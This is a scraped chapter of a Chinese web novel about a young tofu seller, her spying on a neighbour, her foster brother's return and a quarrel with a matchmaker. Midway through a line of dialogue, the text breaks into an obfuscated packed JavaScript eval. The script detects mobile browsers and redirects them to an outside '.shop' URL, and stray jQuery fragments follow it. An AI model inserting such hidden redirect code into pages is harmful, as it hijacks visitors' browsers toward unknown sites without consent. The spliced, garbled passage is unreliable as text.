文趣网 > 其他小说 > 定要与贫穷周旋一二 > 3. 良人与现实
    郁淼抬头,斜对面的阁楼窗户紧闭,微风一吹,吊在屋檐上的竹片碰撞发出清脆声响。

    定睛一看,嘁,那竹片中间竟还挂着一块玉样的马儿。

    玉?郁淼暗自思量。真有钱!若是她穷困潦倒了,说不定会偷走这富贵人家摆在外面只听听响的玉片,聊以大用!

    “黎远,你说,偷看犯法吗?”

    黎远脸上浮起一丝不自然,“哪...哪能呢!偷看...哪能是犯法呢!”街坊都知晓黎远有什么小心思,郁淼不知晓,但此刻还没有出孝,他什么都不能说!

    郁淼只注意到他的话语,却未注意他的神色,心里放下了担忧,若是隔壁来问责,她肯定会坦坦荡荡的回一句,再好好理论一番害的自己摔下墙头是谁的过错。

    街尾的大夫给她开了活血散,十五个铜板不见了踪影,对着院墙,郁淼怄气不已,她得出了一个正确的结论,偷看那个无趣的金丝雀这件事本身就挺无趣,和犯不犯法没关。

    她将靠在院墙上的梯子移走。决定洗心革面,寻觅良人。

    良人定然是要买得起三进院子的,但不能像阿爹一样好赌,也不能像阿爹一样长得太好看,阿娘就是被美色耽误的,跌入泥沼不能翻身。

    想法虽好,郁淼却没时间去物色良人,南郊庄子做寿,提前预订了十二板豆腐,郁淼接了这个单,一单就能赚好几百文,她是不会同钱过不去的。

    郁淼用的石磨不大,大了她推不动,近三十斤的豆子,断断续续,磨磨停停,就到掌灯时间了。此刻,她累瘫了,只想挣到钱换个大石磨,最好是买头毛驴。

    浑浑噩噩的睡了一觉,次日丑时郁淼又急忙起来生火煮浆,待新鲜的豆腐出炉,天已经大亮,南郊庄子的马车辰时将十二板豆腐接走,郁淼才从紧绷的状态松了下来。

    她将今日售卖的豆腐摆上摊后,陆陆续续来了些老主顾,只见郁淼神色恍惚,纷纷劝她多歇歇,莫要累着,咬着牙,坚持着将今日豆腐卖完,已是午初。

    她关了门,什么都不理会,上塌呼呼大睡。

    这一觉,睡的郁淼四肢舒畅,醒来时只知外头天正亮,阳光也正好。

    她伸着懒腰出了内室,一抬眼便望见远处树梢上的鸟儿在衔枝筑巢,树下阿毛在悠闲的散着步,她进后厨烧水洗澡,之后出门找吃食,一块蒸糕下肚,才惊觉她这过的是什么神仙日子!

    一路闲逛到春娘家打听哪里能买到毛驴,“你需要一只毛驴?”春娘托着腮帮子思量。

    “我要换个石磨,现在用的那个太小了,但没有毛驴,大石磨推不动!”郁淼说。

    “之前不是说,小磨够你用了,怎么又要换大磨,你要接大单?”春娘不解,郁淼一人做豆腐已经够累了。

    “已经接了大单,赚钱挺好的,我喜欢银子!”

    “你呀!”春娘子见她一脸俏皮样并无接了大单的疲倦,点了点她的鼻子,“是了,整个平阳街都知道你爱银子,若是打定主意要买毛驴,倒是可以去口马行看看”

    口马行去了,驴子却没买!

    走了一趟,郁淼发现驴子可以不用买,租就行。至于石磨,确实可以找石匠定制一个。

    回了家,已是酉时。后厨的红豆粥飘出诱人的香味,隔壁却传来了久违的皮鞭声。

    “十日又到了?”郁淼纳闷,这十日过得倒是快。

    她竖起耳朵静听,又在心中告诫自己别多管闲事,想想十五个铜板的痛,想想那个冰冷的眼神。

    一头劝着自己,一头又麻利的搬来了梯子,不带一丝犹豫,她又毛茸茸的攀上了墙头。

    咦~!郁淼心中惊呼,高官这癖好...奇特!

    止不住跳动的心,郁淼看入神了。

    皮鞭抽打在又冷又娇的金丝雀身上,甚是好看!

    好像那日跌落墙头的痛被高官的鞭子轻轻抚平,近日的疲惫也一扫而光,只是,金丝雀忍着痛绷紧背脊,愈发显得胸膛挺括还白!

    郁淼捂住了双睛,不敢直视,却又透过指缝瞄,他胸前的玉坠子依旧晃荡晃荡,呵!装什么清高!突然一点温热湿润了手掌,抬手一看,一片鲜红!

    她瞪大双眼,脸瞬间绯红,顺着梯子就准备往下溜,又控制不住想再看一眼,这一眼望去,将将对上金丝雀愤怒的眼神。

    糟糕!

    郁淼轻车熟路滑下梯子,三下五除二将脸一抹,哐当一声关了房门。

    趴在塌上,她只能听见自己砰砰如擂鼓的心跳。

    郁淼不知昨夜自己如何睡着的,只依稀记得睡前告诫自己,莫要再偷窥他人,尤其是隔壁的冷娇金丝雀,莫被人看扁了惹人嫌。

    这么想,她也是这么做的。

    她主动将梯子挪开,只专注磨自己的豆腐,但隔壁沁娘子的声音源源不断:“徐官人,去将郎君的外衫拿来,沾上血了,得洗了先!”“徐官人,去问问郎君吃不吃甜糕”...

    “烦死了!”郁淼嘟嘟囔囔,门一甩,出门找春娘了。

    走到桥头,凉风一吹,只见桥中间站着一个消瘦却熟悉的身影!

    时逐溪回来了!

    郁淼狂奔上前,一把拉住时逐溪的手:“阿兄,你回来了!怎么不找我!”她笑意直达眼底,宛若院中盛开的海棠。

    逐溪面上不显,语气却轻快。

    “长老的《金刚金》尚未抄完,但今日结了拥书直”,时逐溪递了一锭银子来,“淼娘,你且收好!”

    郁淼脸色一变,拉住时逐溪的手缩了回来:“阿兄,这么多银子,你自己收好,给我做什么!”

    见郁淼缩回了手,时逐溪又将将不动声色的握住,语气温和且平静“我走前是不是同你说好了?我在法华寺可以抄经书,你不用这么辛苦磨豆腐的!”时逐溪与郁淼同岁,却比她稳重许多,三年前若是没有他,大约也没有现在的郁淼了。

    “阿兄,这我可不听你的,我知道抄书的行情”,她掂了掂手上的银两,约莫得有五两,“这么多,你得抄多少,不比我磨豆腐辛苦吗?”银子又被塞了回去。

    “你...”时逐溪未再说什么。他知晓郁淼脾气倔,认定了的事情,十头牛拉不回来。思绪恍惚间拉回了五年前,他刚到京城无处容身被郁淼阿娘接济的画面。

    “你要是回来了,就到豆腐店看看我,过些时日我要搬走了!到时候看你怎么找我!”郁淼有些憋屈,好不容易回来了,却又不来看她,一见面就光塞银子,在阿兄的眼中她就这么爱财?

    “搬家?为何!”时逐溪一时不明,又突然想到:“莫不是三叔拿字条来了?”

    “嗯”

    “白纸黑字?”

    “嗯!”

    “有说什么吗?”

    “是岩弟要成婚,想拿豆腐铺当聘礼”

    “什么时候搬?”

    “说是立夏前”

    “三叔安葬了丈母二人,按说是有恩的,只是,这事定不能糊里糊涂的,三叔可有其他佐证?”

    “似乎...并无”郁淼思索半日,“三婶说房契在她家,按说这事错不了,可总觉得哪里不对劲。”眉头微皱,若真如此,她便无家可归了。眸中氤氲出些许湿意,她又转头,指了指铺子“阿兄,走,我们回家慢慢聊。”

    时逐溪眉头微动,跟在郁淼的身后,眼见她牵着他的手路过河畔,柳枝扫过郁淼乌黑的发丝,随意折下一根拂过郁淼发顶的柳枝,指尖微微触及的湿润像是郁淼氤氲出的泪花,他用指腹将这湿意抹去,默念自己的决心。

    一路叽叽喳喳,如同树上的斑鸠,一扫抄书的烦闷,此刻的心情就是二月天的写照,温暖舒适。

    两人说了很多话,直到春娘拦住了去路,佯装发怒,指着郁淼的鼻子叫唤:“淼娘,我等你了好久,你将将才来,你也太拖拉了点,别以为见了时三郎,我便不说你!”

    郁淼心情极好,“行行行,是我不对,让你久等了!”

    “时三郎,今日回的?”

    “崔小娘子安好,晚生有理了!”时逐溪行了个礼,朝崔阿春问好。

    春娘一楞,久违的尴尬浮现在脸上,使劲的摆摆手:“别别别,您甭这样,折煞我了!”,她又学着时三郎的动作笨拙的回了个礼,之后将郁淼扯到了一旁:“你可说说你这阿兄吧,成日小娘子安好的,我这胳膊腿都不知道怎么摆了!”她说着说着,又似乎想起什么,嗔怪的推了一把郁淼:“好你个淼娘,见着阿兄就把我仍在风里,下回他再这样和我说话,我就拿饼砸他,

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17969459|214624||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    你让他好好跟我说话,和跟你说话一样,成不?”

    “好好好!”郁淼满口答应,答应了有什么用,阿兄一直就是这样的,岂能说改就改。

    话音不大,将将时逐溪能听的见。

    他脸上浮现出一丝红晕,又想作揖说点什么,一想不对,又不知如何解释,只得乖乖站在一边,眼神漂向远处,主打一个眼不见为净,耳不听不虚。

    三人在临街食肆里喝了点米酒,聊的甚是欢快。

    但快乐始终是短暂的,阿兄要回法华寺,春娘要回家,而她要做豆腐,准备泡豆子了,才发现缸内黄豆见底了,郁淼焦急了,明日的豆子还未泡,天也快黑了。

    她转身去了隔壁街的米行,照例大手一挥要了几麻袋的黄豆。

    到家门口却遇见一个毫不意外的人!

    张婶!

    郁淼识的,刚准备转身回屋关门的,“呦,淼娘子,这是打哪儿回来,这也太巧了,果然人家说来的早不如来的巧呀!”张婶脸上堆满笑意,不似范淙一深深的褶子,只是面部表情的牵动,免不了抖下来一些胭脂水粉。

    “是呢,婶子这是找我有事?”她佯装不知张婶来意,抬眉望了望街尾。范淙一怎么又打发这个快嘴媒人来说亲了!

    “近日来是报喜的,临街的范郎君打算在那头添置一座三进宅院,淼娘,真是个有福之人。”张婶年岁并不大,手指细长白皙,将将朝那头一指,竟指出了些许画面感。

    郁淼脑中瞬间拼凑出一组她在三进院子里躺着摇椅吃果子的画面,但画面一转,递果子来的,却是满脸褶子的范淙一。

    “张婶,范掌柜添置三进宅院是好事,但同淼娘并无干系呀!若非说有干系,也是邻里之间庆贺一番的关系”

    “淼娘,你也是一个聪明女子,咱婶娘二人不说暗话,范掌柜手中有的,不正是你淼娘缺的吗?为何迟迟不肯应答?”

    为何不肯应答,范淙一很清楚。

    不必差媒人再来问一遍。

    眼见邻里关切的目光越聚越多,郁淼眉间有了些许不耐烦。

    她转身合上最后一块门板,只深深吸了一口气:“婶子,我是不会嫁给范掌柜的,您也甭费口舌了,这亲是做不成的!”

    郁淼想尽量将话说的好听些,但这些日子,范淙一放出去的风已经吹到郁淼的耳中,他认为郁淼是软柿子,确实,但也要看这软柿子范淙一能不能捏。

    “话说的太绝对了,淼娘,有道是千里姻缘一线牵,范掌柜和你又是街坊邻里,两人知根知底,虽然他年岁是长了些,但也是一个有情有义之人,且家境殷实,说句不好听的,老母亲过世多年,你嫁过去还不用服侍婆母,左右能落得个自在,婶娘是真真想不通,为何不同意?”

    看来这话不挑的再明一些,这门是进不去了。

    “各有所好,婶娘,我不好范掌柜这款的,这样说,是不是够清楚了!”

    话已说明,门也开了,郁淼拔腿就走。

    “你且等等”张婶拦住了她,她也是没有法子,今日午时范掌柜在春风楼喝酒,给了她一锭银子,这事若是办不妥,银子定然是要飞回去的。

    “你不再考虑考虑吗?按说年岁也不小了,婶娘说句不该说的,咱女子婚假之事可拖不得,过了这个年岁,就如西市上的大白菜,蔫了,卖不出好价钱”张婶紧紧拉住郁淼的衣角,生怕她走了。

    周围开始指指点点。

    大白菜,这快嘴还挺会打比喻的。

    可惜郁淼一直以来都是个泼辣的。

    “既然知道不该说,那就别说!”郁淼圆眼一瞪,似是要吃人,甩了甩张婶握住衣袖的手。

    “卖你老娘的大白菜,滚你丫的”边说边随手抄起门头扫帚就赶。

    “你这小娘子,这么不讲理,哪有用扫帚赶媒人的,小心以后嫁不出去!”张婶恼羞成怒。

    “呸!我要你管,你这还是做媒的人吗?话都不会说,你且先管好自己的一张脏嘴!”

    不解气,郁淼提溜起门口泡豆子的水,直直朝张婶泼了过去,眼见不对,张婶赶忙朝旁边一躲,恰巧水泼了路过的高个子美娇娘一身。

    郁淼抬眼一望,心中咯噔一下,糟了,是他!那个金丝雀。